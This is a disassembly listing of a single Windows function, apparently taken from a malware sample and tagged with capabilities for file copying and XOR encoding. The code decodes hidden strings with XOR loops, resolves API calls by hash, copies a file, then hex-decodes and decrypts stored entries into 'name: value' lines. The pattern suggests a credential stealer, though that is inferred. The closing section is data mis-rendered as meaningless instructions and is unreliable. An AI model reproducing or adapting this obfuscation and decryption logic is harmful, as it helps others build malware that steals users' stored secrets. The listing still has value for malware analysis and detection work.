Function at 0x4293c5
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00428760
add esp, 4
test al, al
je 0x4290b0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xdc
mov dword [esp + 0x9c], 0x33c431f9
mov dword [esp + 0xa0], 0x3fc23dcf
mov dword [esp + 0xa4], 0x3bce39d9
mov dword [esp + 0xa8], 0xc716c530
mov dword [esp + 0xac], 0xc33ec121
mov dword [esp + 0xb0], 0xcfcecd24
mov byte [esp + 0xb4], 0
mov eax, 0xf4
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x58]
lea edx, [eax - 0x53285200]
mov esi, eax
and esi, ecx
or edx, ecx
not edx
or edx, esi
lea ecx, [edx + edx]
not ecx
add ecx, edx
add cl, 0x3c
mov byte [esp + eax - 0x58], cl
inc eax
cmp eax, 0x10d
jne 0x429110
mov dword [esp + 0x1c], 0x116c1f70
mov dword [esp + 0x20], 0x156b1357
mov dword [esp + 0x24], 0x963176f
mov dword [esp + 0x28], 0xd780b7c
mov dword [esp + 0x2c], 0x1620f67
mov dword [esp + 0x30], 0x541037f
mov dword [esp + 0x34], 0x397e0741
mov dword [esp + 0x38], 0x3d443b43
mov dword [esp + 0x3c], 0x31523f7b
mov dword [esp + 0x40], 0x35433345
mov dword [esp + 0x44], 0x29423772
mov dword [esp + 0x48], 0x2d692b41
mov dword [esp + 0x4c], 0x21692f5e
mov dword [esp + 0x50], 0x2554234c
mov dword [esp + 0x54], 0x59ba2747
mov dword [esp + 0x58], 0x5d3d5bce
mov dword [esp + 0x5c], 0x512b5f30
mov dword [esp + 0x60], 0x553553c4
mov dword [esp + 0x64], 0x49c95737
mov word [esp + 0x68], 0x4b48
mov byte [esp + 0x6c], 0
mov word [esp + 0x6a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x85
xor cl, byte [esp + eax + 0x1c]
add cl, 0x67
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x51
jne case.default.0x429224
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00439fd0
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x447cc0]
mov ecx, esi
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x429230
sub eax, esi
cmp eax, 0xffffffd9
jge 0x429259
mov eax, 0xffffffff
jmp 0x42925c
mov eax, dword [case.0x429224.3]
nop
nop
jmp eax
xor eax, eax
jmp 0x429e13
add eax, 0x26
push eax
call fcn.004083e0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0x2341214c
mov dword [esp + 0x20], 0x27b825bb
mov dword [esp + 0x24], 0x5bc3593e
mov dword [esp + 0x28], 0x5f325d3b
mov dword [esp + 0x2c], 0x53cd5133
mov dword [esp + 0x30], 0x573055ca
mov dword [esp + 0x34], 0x4b2d49d1
mov dword [esp + 0x38], 0x4fd84d12
mov dword [esp + 0x3c], 0x43244124
mov word [esp + 0x40], 0x4544
mov dword [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x1c]
lea edx, [eax + 0x38]
and edx, ecx
mov ebx, edx
and ebx, 2
mov ebp, edx
or ebp, 0xfffffffd
inc ebp
mov edi, edx
and edi, 0x7d
imul edi, ebp
or edx, 2
imul edx, ebx
sub edi, edx
add ecx, eax
lea ebx, [ecx + edi]
add ecx, edi
add ecx, 0x710e8a38
mov edx, ecx
and edx, 0xcab74ce5
and ebx, 2
mov edi, ebx
xor edi, 2
imul edi, edx
or edx, 2
imul edx, ebx
xor ecx, 0xcab74ce7
add ecx, edi
add ecx, edx
mov edx, ecx
or edx, 1
add edx, ecx
not ecx
or ecx, 1
add edx, ecx
inc dl
mov byte [esp + eax + 0x1c], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x2a
jb 0x4292d0
movzx ecx, word [esi]
mov edi, dword [esp + 4]
mov eax, edi
test cx, cx
je 0x429371
mov edx, esi
add edx, 2
mov eax, edi
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429360
mov word [eax], 0
movzx ecx, word [esp + 0x1c]
test cx, cx
lea ebx, [esp + 0x1c]
je 0x4293a1
lea edx, [esp + 0x1e]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429390
mov word [eax], 0
jmp dword [0x447cd8]
push esi
call fcn.004083f0
add esp, 4
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x447ce0]
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x447ce0]
mov dword [esp + 0x1c], 0x216c2759
mov dword [esp + 0x20], 0x5dbf2344
mov dword [esp + 0x24], 0x59c85fcd
mov dword [esp + 0x28], 0x55c15bc6
mov dword [esp + 0x2c], 0x513257cd
mov dword [esp + 0x30], 0x4dc353cd
mov dword [esp + 0x34], 0x49d04fda
mov dword [esp + 0x38], 0x45d34bd3
mov dword [esp + 0x3c], 0x41c84712
mov dword [esp + 0x40], 0x7ddc43dc
mov word [esp + 0x44], 0x7f7c
mov dword [esp + 0x46], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xb9
xor cl, byte [esp + eax + 0x1c]
add cl, 0x63
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x2e
jne case.default.0x42947f
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xa8]
push eax
push edi
call fcn.00440c90
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447ce8]
xor ebx, ebx
xor ebp, ebp
jmp dword [0x447d58]
push edi
call fcn.004083f0
add esp, 4
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x447d60]
xor eax, eax
jmp 0x429ddb
lea eax, [esp + 0x8c]
push 0
push eax
push dword [esp + 0xa4]
call fcn.00440f80
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x447cf0]
mov esi, dword [esp + 0x8c]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xa8]
call fcn.00441030
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x447cf8]
mov esi, dword [esp + 0x8c]
mov byte [edi + esi], 0
push 0x20
call fcn.004083e0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push edi
call fcn.0042c040
movzx eax, al
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x447d00]
lea esi, [esp + 0x1c]
mov ebx, dword [esp + 0x70]
jmp dword [0x447d08]
mov dword [esp + 0x1c], 0x37242e53
mov dword [esp + 0x20], 0x22342433
mov dword [esp + 0x24], 0x272b5f67
mov dword [esp + 0x28], 0x5c61283a
mov dword [esp + 0x2c], 0x3e333424
mov dword [esp + 0x30], 0x3939567b
mov dword [esp + 0x34], 0x2f393c36
mov dword [esp + 0x38], 0x373d3c5f
mov dword [esp + 0x3c], 0x61c5
mov byte [esp + 0x40], 0
mov eax, edx
add al, 0x60
xor al, byte [esp + edx + 0x1c]
add al, 0x20
mov byte [esp + edx + 0x1c], al
inc edx
cmp edx, 0x25
jne case.default.0x4295fa
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x1c]
push eax
call fcn.0042c280
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 8]
mov dword [esp], ecx
xor edx, edx
jmp dword [eax*4 + 0x447db0]
add esi, 8
mov eax, dword [esp + 8]
mov dword [esp], eax
xor edx, edx
jmp 0x42962d
push dword [esp + 0x70]
mov esi, edx
call fcn.004083f0
mov edx, esi
mov esi, dword [esp + 0x18]
add esp, 4
add esi, 4
mov edi, dword [esp + 0xf0]
mov esi, dword [esi]
mov eax, dword [case.0x4295fa.3]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447dc8]
mov eax, dword [esi]
mov dword [esp + 0x10], eax
xor edi, edi
cmp dword [esi + 0x18], 3
jne case.default.0x429673
mov edi, dword [esi + 0x10]
cmp dword [esp + 0x10], 0
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447dd0]
mov dword [esp + 0x14], esi
mov dword [esp + 4], edx
mov dword [esp + 0x18], ebp
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne case.default.0x4296b9
sub esi, edi
inc esi
shr esi, 1
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
mov ebp, eax
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
mov dword [esp + 0x70], ebp
jmp dword [eax*4 + 0x447dd8]
inc edi
mov byte [ebp], al
inc ebp
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x447dd8]
lea eax, [ecx - 0x30]
cmp eax, 0xa
jb 0x4296e3
mov eax, 0xffffffff
or ecx, 0x20
lea edx, [ecx - 0x61]
cmp edx, 6
jae case.default.0x4296fe
add ecx, 0xffffffa9
mov eax, ecx
movsx ecx, byte [edi + 1]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447de0]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x429712
mov edx, 0xffffffff
or ecx, 0x20
lea ebx, [ecx - 0x61]
cmp ebx, 6
jae case.default.0x429738
add ecx, 0xffffffa9
mov edx, ecx
shl eax, 4
or eax, edx
add edi, 2
mov byte [ebp], al
inc ebp
movsx ecx, byte [edi]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x447dd8]
mov edi, dword [esp + 0x10]
jmp dword [0x447de8]
mov byte [ebp], 0
push 0
push 0x10
push 0
push edi
call fcn.0042c4a0
add esp, 0x10
nop
nop
nop
nop
mov byte [ebp], 0
push 0
push 0x10
push 0
push edi
call fcn.0042c4a0
add esp, 0x10
jmp dword [0x447df4]
mov dword [esp + 0x10], 0
xor ebx, ebx
mov edi, dword [esp + 0xc]
mov ebp, dword [esp + 0x18]
cmp edi, ebp
setne bl
jmp dword [ebx*4 + 0x447df8]
mov ecx, dword [edi]
mov dword [esp + 0x10], ecx
mov ebp, dword [esp + 0x18]
xor ecx, ecx
jmp dword [ecx*4 + 0x447e18]
add edi, 8
xor ebx, ebx
cmp edi, ebp
setne bl
jmp dword [ebx*4 + 0x447df8]
mov ebx, dword [edi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, edx
xor ebx, eax
xor ecx, ecx
or ebx, ebp
sete cl
jmp dword [ecx*4 + 0x447e00]
mov ebp, dword [esp + 0x18]
mov ecx, 1
jmp dword [ecx*4 + 0x447e18]
xor eax, eax
mov edi, dword [esp + 0x10]
test edi, edi
setne al
jmp dword [eax*4 + 0x447e20]
mov edx, dword [esp + 4]
mov esi, dword [esp + 0x14]
jmp dword [0x447e30]
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x70]
mov dword [esp + 0x20], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42989b
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], edi
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
push 0xe18a387a
push dword [0x44cdb8]
call fcn.004402e0
add esp, 8
lea ecx, [esp + 0x84]
push ecx
push 1
push 0
push 0
lea ecx, [esp + 0x9c]
push ecx
push 0
lea ecx, [esp + 0x34]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov esi, dword [esp + 0x14]
jmp dword [ecx*4 + 0x447e28]
mov edx, dword [esp + 4]
jmp dword [0x447e30]
movzx eax, byte [edi]
test al, al
je 0x4298c4
inc edi
mov ecx, dword [esp]
mov byte [ecx], al
inc ecx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x4298b7
jmp 0x4298c7
mov ecx, dword [esp]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x84]
test esi, esi
je 0x429907
mov ecx, dword [esp + 0x88]
mov edx, esi
and edx, 3
je 0x42990b
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x4298ec
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x42990d
mov edi, eax
jmp 0x42994b
mov edx, esi
cmp esi, 4
jb 0x42994b
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x429912
mov byte [edi], 0xa
inc edi
mov dword [esp], edi
push 0xa7ffa4f5
push dword [0x44cda0]
call fcn.004402e0
add esp, 8
push dword [esp + 0x88]
call eax
mov dl, 1
mov esi, dword [esp + 0x14]
jmp dword [0x447e30]
mov dword [esp + 0x1c], 0x2d202af1
mov dword [esp + 0x20], 0x2628d831
mov dword [esp + 0x24], 0x2dd5d9ed
mov dword [esp + 0x28], 0xc0e72c3a
mov dword [esp + 0x2c], 0x3acd3020
mov dword [esp + 0x30], 0xc8cbe8f9
mov dword [esp + 0x34], 0x3530283d
mov dword [esp + 0x38], 0xa735
xor eax, eax
xor ecx, ecx
nop
nop
mov edx, ecx
xor dl, 0x9f
add dl, al
xor dl, byte [esp + ecx + 0x1c]
add dl, 0xe5
mov byte [esp + ecx + 0x1c], dl
inc ecx
add al, 2
cmp ecx, 0x20
jne 0x4299c0
mov ecx, ebx
push esi
call fcn.0042c280
mov dword [esp + 0x1c], 0x2d202af1
mov dword [esp + 0x20], 0x2628d831
mov dword [esp + 0x24], 0x2dd5d9ed
mov dword [esp + 0x28], 0xc0e72c3a
mov dword [esp + 0x2c], 0x3acd3020
mov dword [esp + 0x30], 0xc8cbe8f9
mov dword [esp + 0x34], 0x3530283d
mov dword [esp + 0x38], 0xa735
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor dl, 0x9f
add dl, al
xor dl, byte [esp + ecx + 0x1c]
add dl, 0xe5
mov byte [esp + ecx + 0x1c], dl
inc ecx
add al, 2
cmp ecx, 0x20
jne 0x429a30
mov ecx, ebx
push esi
call fcn.0042c280
jmp dword [0x447d10]
mov dword [esp + 0x74], edi
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor ebx, ebx
jmp dword [ecx*4 + 0x447d18]
mov eax, dword [case.0x42947f.5]
mov edi, dword [esp + 0x74]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x447d38]
mov esi, dword [esp + 0x70]
mov ecx, esi
call fcn.0042c400
push esi
call fcn.004083f0
add esp, 4
jmp dword [0x447d40]
jmp dword [0x447d40]
jmp dword [0x447d4c]
add eax, 8
xor ebp, ebp
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
xor ebx, ebx
xor edi, edi
xor ecx, ecx
jmp dword [eax*4 + 0x447d20]
mov eax, dword [esp]
mov dword [ebx + eax + 4], ecx
mov ebp, dword [esp + 0x18]
add ebp, 8
mov esi, dword [esp + 0x78]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
mov edi, ebx
mov ecx, dword [esp + 8]
jmp dword [eax*4 + 0x447d20]
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov edx, ebp
sub edx, edi
cmp ebp, ecx
mov dword [esp], edx
je 0x429b14
mov dword [esp + 0x18], ebp
mov ebx, edi
jmp 0x429b89
mov eax, edx
sar eax, 3
inc eax
mov dword [esp + 8], ecx
sub ecx, edi
sar ecx, 3
mov ebp, ecx
shr ebp, 1
add ebp, ecx
cmp ebp, eax
ja 0x429b2f
mov ebp, eax
lea eax, [ebp*8]
push eax
call fcn.004083e0
add esp, 4
mov ebx, eax
test edi, edi
je 0x429b7b
mov edx, dword [esp + 8]
cmp edi, edx
je 0x429b72
xor eax, eax
nop
mov ecx, dword [edi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x429b50
push edi
call fcn.004083f0
add esp, 4
lea ecx, [ebx + ebp*8]
mov eax, ebx
mov edx, dword [esp]
add eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 8], ecx
mov dword [esp + 0x78], esi
mov dword [ebx + edx], 0
mov dword [ebx + edx + 4], 0
xor ebp, ebp
mov esi, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + ebp], 0
lea ebp, [ebp + 1]
jne 0x429bb0
push ebp
call fcn.004083e0
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0xc], ebx
mov dword [ebx + ecx], eax
mov ecx, ebp
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebp
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov esi, ebp
and esi, 3
mov ecx, esi
shr ecx, 1
mov dword [esp + 0x14], edx
mov edi, eax
mov ebx, dword [esp + 0x14]
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, ebp
xor ecx, 2
and ecx, esi
je 0x429c1b
mov esi, ebp
and esi, 2
add edx, esi
add eax, esi
push ecx
push edx
push eax
call fcn.00408410
add esp, 0xc
xor ecx, ecx
cmp ebp, 1
mov ebx, dword [esp + 0xc]
je 0x429ad0
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x10]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebp, eax
jne 0x429c40
not ecx
mov ebx, dword [esp + 0xc]
jmp 0x429ad0
push dword [esp + 0x74]
call fcn.004083f0
add esp, 4
mov ebx, edi
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x1c], 0x80b0a0d
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov ecx, 0x43
movzx edx, byte [esp + ecx - 0x27]
mov esi, ecx
xor esi, edx
and edx, 0x30
xor esi, 0xb0
lea edx, [esi + edx*2]
inc dl
mov byte [esp + ecx - 0x27], dl
inc ecx
cmp ecx, 0x4a
jne 0x429d10
mov ecx, dword [0x44cdac]
test ecx, ecx
je 0x429d68
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44cdb0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x429d60
inc esi
cmp ecx, esi
jne 0x429d50
jmp 0x429d68
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x429d92
mov edi, ebx
mov ebx, dword [esp + 0xc]
mov edx, dword [esp + 4]
jmp dword [0x447e48]
push eax
push 4
push ecx
push dword [0x44cdb4]
call fcn.0043e5b0
add esp, 0x10
mov edi, ebx
mov ebx, dword [esp + 0xc]
mov edx, dword [esp + 4]
jmp dword [0x447e48]
jmp dword [0x447e38]
mov dword [esp + 4], edx
mov esi, dword [esp + 0x80]
mov ecx, esi
call fcn.0042c400
push esi
call fcn.004083f0
add esp, 4
jmp dword [0x447e40]
test ebx, ebx
je 0x429e13
cmp ebx, ebp
je 0x429e13
mov edi, eax
mov esi, ebx
jmp 0x429df7
add esi, 8
cmp esi, ebp
je 0x429e08
mov eax, dword [esi]
test eax, eax
je 0x429df0
push eax
call fcn.004083f0
add esp, 4
jmp 0x429df0
push ebx
call fcn.004083f0
add esp, 4
mov eax, edi
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
push 0
push esi
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x88]
call fcn.00441030
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov ecx, dword [esp + 8]
mov dword [esp], ecx
jmp dword [eax*4 + 0x447da0]
mov dword [esp + 4], edx
jmp dword [0x447e40]
mov esi, dword [esp + 0x94]
mov ebx, dword [esp + 0x74]
mov byte [ebx + esi], 0
push 0x20
call fcn.004083e0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x80], eax
mov ecx, eax
push esi
push ebx
call fcn.0042c040
movzx eax, al
xor edx, edx
mov ecx, dword [esp + 8]
mov dword [esp], ecx
jmp dword [eax*4 + 0x447da8]
xor edx, edx
mov dword [esp], esi
mov edi, dword [esp + 0xf0]
jmp dword [0x447e48]
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x447d60]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], 0x23de2105
mov dword [esp + 0x20], 0x27c525bb
mov dword [esp + 0x24], 0xdb46d939
mov dword [esp + 0x28], 0xdf4edd1d
mov dword [esp + 0x2c], 0xd316d140
mov dword [esp + 0x30], 0xd742d535
mov dword [esp + 0x34], 0xcbefc929
mov dword [esp + 0x38], 0xcf3dcd20
mov dword [esp + 0x3c], 0xc327c154
mov dword [esp + 0x40], 0xc75bc525
mov dword [esp + 0x44], 0xfb66f914
mov dword [esp + 0x48], 0xff1dfd63
mov dword [esp + 0x4c], 0xf36ef111
mov dword [esp + 0x50], 0xf760f52a
mov dword [esp + 0x54], 0xeb0ce90c
lea eax, [esp + 0x58]
mov word [esp + 0x58], 0xedec
mov dword [esp + 0x5a], 0
mov byte [esp + 0x5e], 0
mov ecx, pe_nt_image_headers32
mov edx, 0x87
nop
nop
movzx ebx, byte [esp + ecx - 0x5c]
mov esi, ecx
or esi, ebx
not ebx
or ebx, edx
and ebx, esi
add bl, 0xa8
mov byte [esp + ecx - 0x5c], bl
inc ecx
dec edx
cmp ecx, 0xbb
jne 0x42a070
lea edx, [esp + 0x1c]
lea ebx, [esp + 0x9c]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x98]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44cda8]
mov dword [esp + 0x1c], 0x1464769
mov word [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x91
xor dl, byte [esp + ecx + 0x1c]
add dl, 0x2b
mov byte [esp + ecx + 0x1c], dl
inc ecx
cmp ecx, 6
jne case.default.0x42a10f
xor ecx, ecx
cmp eax, dword [esp + 0x1c]
setne cl
jmp dword [ecx*4 + 0x447d68]
mov edi, dword [esp + 0x98]
test edi, edi
mov ebx, dword [esp + 0xc]
jns 0x42a147
mov eax, 0xffffffff
jmp 0x42a14a
mov ecx, dword [case.0x42a10f.3]
mov ebx, dword [esp + 0xc]
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jmp 0x429ddb
lea eax, [edi + edi]
push eax
call fcn.004083e0
add esp, 4
push esi
push edi
mov edi, eax
push eax
push 0x1e
lea eax, [esp + 0xac]
push eax
push 0
call dword [0x44cda8]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447d80]
xor eax, eax
jmp dword [0x447d88]
push edi
call fcn.004083f0
add esp, 4
xor eax, eax
jmp 0x429ddb
mov eax, ebp
sub eax, ebx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.004083e0
add esp, 4
mov esi, eax
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x88], edi
push edi
call fcn.00440c90
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 8], esi
jmp dword [eax*4 + 0x447d90]
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x84]
call fcn.00440f80
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov dword [esp], esi
mov edi, dword [esp + 0xf0]
jmp dword [eax*4 + 0x447d98]
push edi
call fcn.004083f0
add esp, 4
push edi
call fcn.004083f0
add esp, 4
jmp dword [0x447d50]
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x1c], 0x80b0a0d
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov ecx, 0x43
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x27]
mov esi, ecx
xor esi, edx
and edx, 0x30
xor esi, 0xb0
lea edx, [esi + edx*2]
inc dl
mov byte [esp + ecx - 0x27], dl
inc ecx
cmp ecx, 0x4a
jne 0x42a250
mov ecx, dword [0x44cdac]
test ecx, ecx
je 0x42a2a8
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44cdb0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42a2a0
inc esi
cmp ecx, esi
jne 0x42a290
jmp 0x42a2a8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42a2b2
mov edi, dword [esp + 4]
jmp dword [0x447d58]
push eax
push 4
push ecx
push dword [0x44cdb4]
call fcn.0043e5b0
add esp, 0x10
mov edi, dword [esp + 4]
jmp dword [0x447d58]
popfd
inc edx
add byte [ecx], al
xchg esi, eax
inc edx
add byte [eax - 0x6a], al
inc edx
add byte [eax - 0x6a], al
inc edx
add byte [edx - 0x6a], al
inc edx
add byte [eax - 0x6a], al
inc edx
add byte [ebp + ebx*4 - 0x69afffbe], dh
inc edx
add byte [ebx], ah
xchg esi, eax
inc edx
add byte [edx - 0x6a], bh
inc edx
add byte [edi], bh
xchg edi, eax
inc edx
add dh, dl
xchg esi, eax
inc edx
add al, al
xchg esi, eax
inc edx
add byte [0x60004297], al
xchg edi, eax
inc edx
add byte [ecx - 0x69], cl
inc edx
add byte [eax - 0x69], ah
inc edx
add byte [ecx - 0x69], bh
inc edx
add ah, dh
xchg edi, eax
inc edx
add ah, al
xchg edi, eax
inc edx
add ah, ah
xchg edi, eax
inc edx
add byte [eax + 0x1004297], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x1004297], ah
add byte [eax], al
add ah, dh
xchg edi, eax
inc edx
add byte [ebx + 0x6004297], dh
cwde
inc edx
add byte [eax + ebx*4], dl
inc edx
add byte [edx - 0x53ffbd68], ah
cwde
inc edx
add byte [edi], cl
xchg esi, eax
inc edx
add byte [ebx], ah
xchg esi, eax
inc edx
add byte [edx + 0x5d00429d], bh
sahf
inc edx
add ch, ah
pushfd
inc edx
add cl, dh
pushfd
inc edx
add dh, bl
sahf
inc edx
add byte [eax - 0x63], bh
inc edx
add byte [eax - 0x1ffbd63], cl
sahf
inc edx
add byte [edx - 0x50ffbd61], ah
lahf
inc edx
add al, al
lahf
inc edx
add al, al
lahf
inc edx
add byte [edx - 0x5f], al
inc edx
add al, al
lahf
inc edx
add byte [ebp - 0x5c], dl
inc edx
add byte [eax - 0x5c], dh
inc edx
add byte [eax - 0x5c], dh
inc edx
add byte [eax - 0x5c], dh
inc edx
add byte [eax + ebp*4 - 0x5b8fffbe], cl
inc edx
add byte [ecx - 0x44ffbd5c], ah
movsb byte es:[edi], byte [esi]
inc edx
add byte [ecx - 0x73ffbd5c], ch
test al, 0x42
add byte [eax - 0x5a], ah
inc edx
add cl, al
movsb byte es:[edi], byte [esi]
